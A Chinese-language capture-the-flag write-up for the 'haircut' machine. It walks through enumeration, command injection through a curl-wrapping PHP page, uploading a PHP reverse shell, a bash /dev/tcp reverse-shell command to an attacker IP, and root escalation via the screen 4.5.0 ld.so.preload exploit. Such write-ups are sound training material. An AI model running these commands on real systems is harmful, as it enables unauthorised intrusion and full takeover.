haircut

nmap scan

#### port explore 22:ssh 80:图片 #### 目录扫描 有一个uploads路径 test.html好像是提示禁用了curl 还有一个exposed.php文件 直接访问uploads是403forbindden 用curl进行访问显示的是301 moved Permanently,表明被永久的移除了 访问exposed.php,是一个访问其他网址的页面,它得到的结果类似于执行curl产生的结果 当curl的输出是通过管道从另一个进程打印输出的时候,就会得到类似上面的结果 所以我们可以推测该页面的函数写法是 if post system('curl ' . $POST["formurl"] . '/path/to/some/directory') end if #### filter enumeration 当我们在exposed.php上输入` | ifconfig`时,页面会显示`|`是一个非法符号 通过burp进行fuzz,发现过滤了很多符号 尝试通过curl -b看看信息能不能放在cookie里传送 `curl -b`是添加cookie `nc -k<通信端口>`:强制 nc 待命链接.当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。 接着我们可以尝试上传一个反弹shell的php到uploads文件夹下 用 -o 将文件保存到uploads下:`http://10.10.14.5/sys.php -o uploads/abc.php` 然后使用curl检查上传的文件是否能正常使用 在确认能够正常使用后,用该php开一个nc将一个真正的shell回弹到当前机器上 因为如果以post方式提交请求的话,cmd内传递的命令会断掉,所以需要将请求更改为get并对cmd传递的参数进行urlencode `curl -G http://10.10.14.5/abc.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/8888 0>&1'"` 得到user权限 #### root 在SUID中存在一个/usr/bin/screen-4.5.0 去exploit-db中进行搜索,可以找到相关的提权(payload)[https://www.exploit-db.com/exploits/41154] 该利用的实现细节如下: 在 Screen 版本 4.5.0 中,如果用户指定日志文件,程序将打开并附加到该日志文件。因为screen通常设置为SUID才能运行,这意味着以 root 身份写入 + 1.首先它创建了一个库文件libhax.c 这个库文件存在一个dropshell功能,它拥有一个__attribute__ ((__constructor__)),这个会在进入主函数之前执行,其功能就是改变/tmp/rootshell的权限,使root为该文件夹的所有者,然后给该文件赋予SUID权限,并移除/etc/ld.so.preload + 2.创建一个/tmp/rootshell 将所有的user和组的id都设置为root然后运行/bin/sh + 3.然后进行利用 `screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"` `-D -m`:以detached模式开启screen,但不启动新的进程 `-L ld.so.preload`:打开窗口的自动输出记录 `echo -ne "\x0a/tmp/libhax.so"`:另起一行并加载libhax.so,`\x0a`代表换行 这条命令会启动screen输出库的路径,该路径将记录到/etc/ld.so.preload文件中,然后退出 /etc/ld.so.preload保存每次运行任何程序时都会尝试加载的库列表。所以下次以root身份运行时,恶意库将以root身份运行。该脚本通过再次调用 screen 来启动它 最后它会以SUID权限执行/tmp/rootshell 直接执行失败,将其拉到本地运行一遍,生成libhax.so和rootshell后传到目标机 再执行一遍第三部分